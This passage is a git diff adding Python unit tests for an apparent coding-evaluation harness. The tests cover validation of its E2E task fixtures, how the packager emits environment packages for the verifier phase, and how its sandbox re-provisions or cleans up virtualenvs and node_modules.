allow_recorded_commands=False, include_setup_phase=False) def test_an_llm_judge_is_named(self) -> None: diff --git a/tests/test_harbor_e2e_fixtures.py b/tests/test_harbor_e2e_fixtures.py new file mode 100644 index 00000000..8fe40387 --- /dev/null +++ b/tests/test_harbor_e2e_fixtures.py @@ -0,0 +1,49 @@ +"""Offline validation of the Harbor E2E fixtures -- the only guard between a +malformed fixture and a ~20-minute Docker+model CI round trip. + +`harbor_e2e.py` (invoked only by `.github/workflows/harbor-e2e.yml`, a required +PR check) reads these fixtures with no offline check anywhere else in the +suite: a bad key, a dropped required field, or an uncompilable +`command_pattern`/`exclude_pattern` regex would otherwise surface only as an +opaque `reward != 1.0` (`criteria/command_executed.py` degrades a bad regex to +`score=0.0` rather than raising). +""" + +from __future__ import annotations + +import re +from pathlib import Path + +import pytest +import yaml + +from coder_eval.models import TaskDefinition + + +FIXTURES_DIR = Path(__file__).resolve().parent / "harbor_e2e" / "fixtures" +FIXTURE_PATHS = sorted(FIXTURES_DIR.glob("*.yaml")) + + +@pytest.mark.parametrize("path", FIXTURE_PATHS, ids=lambda p: p.name) +def test_fixture_validates_as_a_task_definition(path: Path) -> None: + raw = yaml.safe_load(path.read_text(encoding="utf-8")) + task = TaskDefinition.model_validate(raw) + assert task.success_criteria + + +@pytest.mark.parametrize("path", FIXTURE_PATHS, ids=lambda p: p.name) +def test_fixture_command_patterns_compile(path: Path) -> None: + raw = yaml.safe_load(path.read_text(encoding="utf-8")) + task = TaskDefinition.model_validate(raw) + for criterion in task.success_criteria: + for field in ("command_pattern", "exclude_pattern"): + pattern = getattr(criterion, field, None) + if pattern is not None: + re.compile(pattern) + + +def test_fixtures_dir_is_not_empty() -> None: + """A guard with nothing to parametrize over silently passes -- catch a + fixture directory that stopped resolving instead of a suite that quietly + stopped checking it.""" + assert FIXTURE_PATHS diff --git a/tests/test_harbor_packager.py b/tests/test_harbor_packager.py index e4f9d50d..eb9b8c66 100644 --- a/tests/test_harbor_packager.py +++ b/tests/test_harbor_packager.py @@ -600,6 +600,46 @@ def test_agent_phase_sandbox_preserves_python_and_limits(self, tmp_path: Path) - assert emitted["sandbox"]["python"]["env_packages"] == ["pytest"] assert "docker" not in emitted["sandbox"] + def test_verifier_phase_carries_env_packages_for_adopt_reprovisioning(self, tmp_path: Path) -> None: + """The verifier's tests/task.yaml must name the same env_packages the + agent phase installed, so Sandbox.adopt can re-provision a workspace + whose .venv/node_modules were stripped by capture_to or WORKDIR + alignment -- see .claude/notes/isolation.md § Why the venv gets system + site packages.""" + task_file = _write_task( + tmp_path, + { + "sandbox": { + "driver": "docker", + "docker": {"image": "byod-custom-image:0.1.0", "network": "none"}, + "python": {"env_packages": ["pytest"]}, + "node": {"env_packages": ["left-pad"]}, + "template_sources": [{"type": "template_dir", "path": str(tmp_path / "starter")}], + } + }, + ) + (tmp_path / "starter").mkdir() + out_dir = tmp_path / "out" + + export_task(task_file, out_dir) + + emitted = yaml.safe_load((out_dir / "tests" / "task.yaml").read_text(encoding="utf-8")) + assert emitted["sandbox"]["python"]["env_packages"] == ["pytest"] + assert emitted["sandbox"]["node"]["env_packages"] == ["left-pad"] + # Agent-phase-only concerns stay out of the verifier's sandbox block. + assert "driver" not in emitted["sandbox"] + assert "docker" not in emitted["sandbox"] + assert "template_sources" not in emitted["sandbox"] + + def test_verifier_phase_omits_sandbox_when_no_env_packages_are_declared(self, tmp_path: Path) -> None: + task_file = _write_task(tmp_path) + out_dir = tmp_path / "out" + + export_task(task_file, out_dir) + + emitted = yaml.safe_load((out_dir / "tests" / "task.yaml").read_text(encoding="utf-8")) + assert "sandbox" not in emitted + def test_no_templates_dir_or_mount_when_the_task_has_no_template_sources(self, tmp_path: Path) -> None: task_file = _write_task(tmp_path) out_dir = tmp_path / "out" diff --git a/tests/test_sandbox_adopt.py b/tests/test_sandbox_adopt.py index 923aafb2..590d8de7 100644 --- a/tests/test_sandbox_adopt.py +++ b/tests/test_sandbox_adopt.py @@ -10,7 +10,9 @@ from __future__ import annotations +import shutil from pathlib import Path +from unittest.mock import patch import pytest @@ -88,6 +90,114 @@ def test_adopt_leaves_venv_unset_when_there_is_none(tmp_path: Path) -> None: assert sandbox.venv_dir is None +@pytest.mark.live +def test_adopt_reprovisions_env_packages_missing_from_a_captured_workspace(tmp_path: Path) -> None: + """`Sandbox.capture_to` (docker-WORKDIR / Harbor `--workspace-dir` grading) + excludes `.venv` as noise (`_WORKSPACE_CAPTURE_IGNORE`), so a workspace + adopted from a captured WORKDIR never has one -- even though the execute + phase installed `env_packages` into it. Without re-provisioning here, a + `run_command` criterion silently grades against a bare interpreter missing + everything `env_packages` asked for. This is the regression: no `.venv` + directory is planted up front (unlike the discovery test above), only + `env_packages` is declared, so adopt must build one from scratch. + + A real `uv venv` + PyPI install, so marked `live` (excluded from `make + test`): `test_adopt_calls_the_installers_for_a_missing_venv_or_node_modules` + below pins the same regression hermetically via mocks. + """ + ws = _workspace(tmp_path) + sandbox = _sandbox(python={"env_packages": ["requests"]}) + sandbox.adopt(ws) + assert sandbox.venv_dir == ws.resolve() / ".venv" + exit_code, stdout, stderr = sandbox.run_command('python -c "import requests; print(requests.__version__)"') + assert exit_code == 0, f"stderr: {stderr}" + assert len(stdout.strip()) > 0 + + +def test_adopt_calls_the_installers_for_a_missing_venv_or_node_modules(tmp_path: Path) -> None: + """Hermetic pin of the same regression as the `live` test above: `requests` + is importable in the project env regardless (`--system-site-packages`), so + that test would still pass with `_install_packages` deleted from `adopt`. + Asserting the installer was CALLED catches that mutation directly.""" + ws = _workspace(tmp_path) + shutil.rmtree(ws / "node_modules") + sandbox = _sandbox(python={"env_packages": ["requests"]}, node={"env_packages": ["left-pad"]}) + with ( + patch.object(sandbox, "_setup_virtualenv") as mock_venv, + patch.object(sandbox, "_install_packages") as mock_pip, + patch.object(sandbox, "_install_node_packages") as mock_npm, + ): + sandbox.adopt(ws) + mock_venv.assert_called_once() + mock_pip.assert_called_once() + mock_npm.assert_called_once() + + +def test_adopt_does_not_reinstall_node_packages_when_node_modules_exists(tmp_path: Path) -> None: + ws = _workspace(tmp_path) # _workspace already plants node_modules/pkg + sandbox = _sandbox(node={"env_packages": ["left-pad"]}) + with patch.object(sandbox, "_install_node_packages") as mock_npm: + sandbox.adopt(ws) + mock_npm.assert_not_called() + + +def test_adopt_does_not_rebuild_an_existing_venv_even_with_env_packages(tmp_path: Path) -> None: + """The inverse of the reprovisioning regression: an existing `.venv` is + DISCOVERED, never rebuilt, even when `env_packages` is non-empty -- a + future edit collapsing `elif self.config.python.env_packages:` (adopt's + gate) into an unconditional reprovision would rebuild a graded workspace's + venv with no other failing test.""" + ws = _workspace(tmp_path) + (ws / ".venv" / "bin").mkdir(parents=True) + sandbox = _sandbox(python={"env_packages": ["requests"]}) + with ( + patch.object(sandbox, "_setup_virtualenv") as mock_venv, + patch.object(sandbox, "_install_packages") as mock_pip, + ): + sandbox.adopt(ws) + mock_venv.assert_not_called() + mock_pip.assert_not_called() + assert sandbox.venv_dir == ws.resolve() / ".venv" + + +def test_adopt_removes_a_half_built_venv_when_install_fails(tmp_path: Path) -> None: + """A failed install must not latch a half-provisioned `.venv` into the + graded tree: the next adopt would silently DISCOVER it and grade against a + venv missing some or all of `env_packages`.""" + ws = _workspace(tmp_path) + sandbox = _sandbox(python={"env_packages": ["requests"]}) + + def _fake_setup_virtualenv() -> None: + sandbox.venv_dir = ws.resolve() / ".venv" + sandbox.venv_dir.mkdir(parents=True) + + with ( + patch.object(sandbox, "_setup_virtualenv", side_effect=_fake_setup_virtualenv), + patch.object(sandbox, "_install_packages", side_effect=RuntimeError("network down")), + pytest.raises(RuntimeError, match="network down"), + ): + sandbox.adopt(ws) + assert not (ws / ".venv").exists() + assert sandbox.venv_dir is None + + +def test_adopt_removes_a_half_built_node_modules_when_install_fails(tmp_path: Path) -> None: + ws = _workspace(tmp_path) + shutil.rmtree(ws / "node_modules") + sandbox = _sandbox(node={"env_packages": ["left-pad"]}) + + def _fake_install_node_packages() -> None: + (ws / "node_modules").mkdir() + raise RuntimeError("registry unreachable") + + with ( + patch.object(sandbox, "_install_node_packages", side_effect=_fake_install_node_packages), + pytest.raises(RuntimeError, match="registry unreachable"), + ): + sandbox.adopt(ws) + assert not (ws / "node_modules").exists() + + def test_adopt_ignores_a_venv_when_python_is_null(tmp_path: Path) -> None: """`python: null` opts out of BOTH halves: setup creates no venv, and adopt declines to pick up one the agent wrote itself.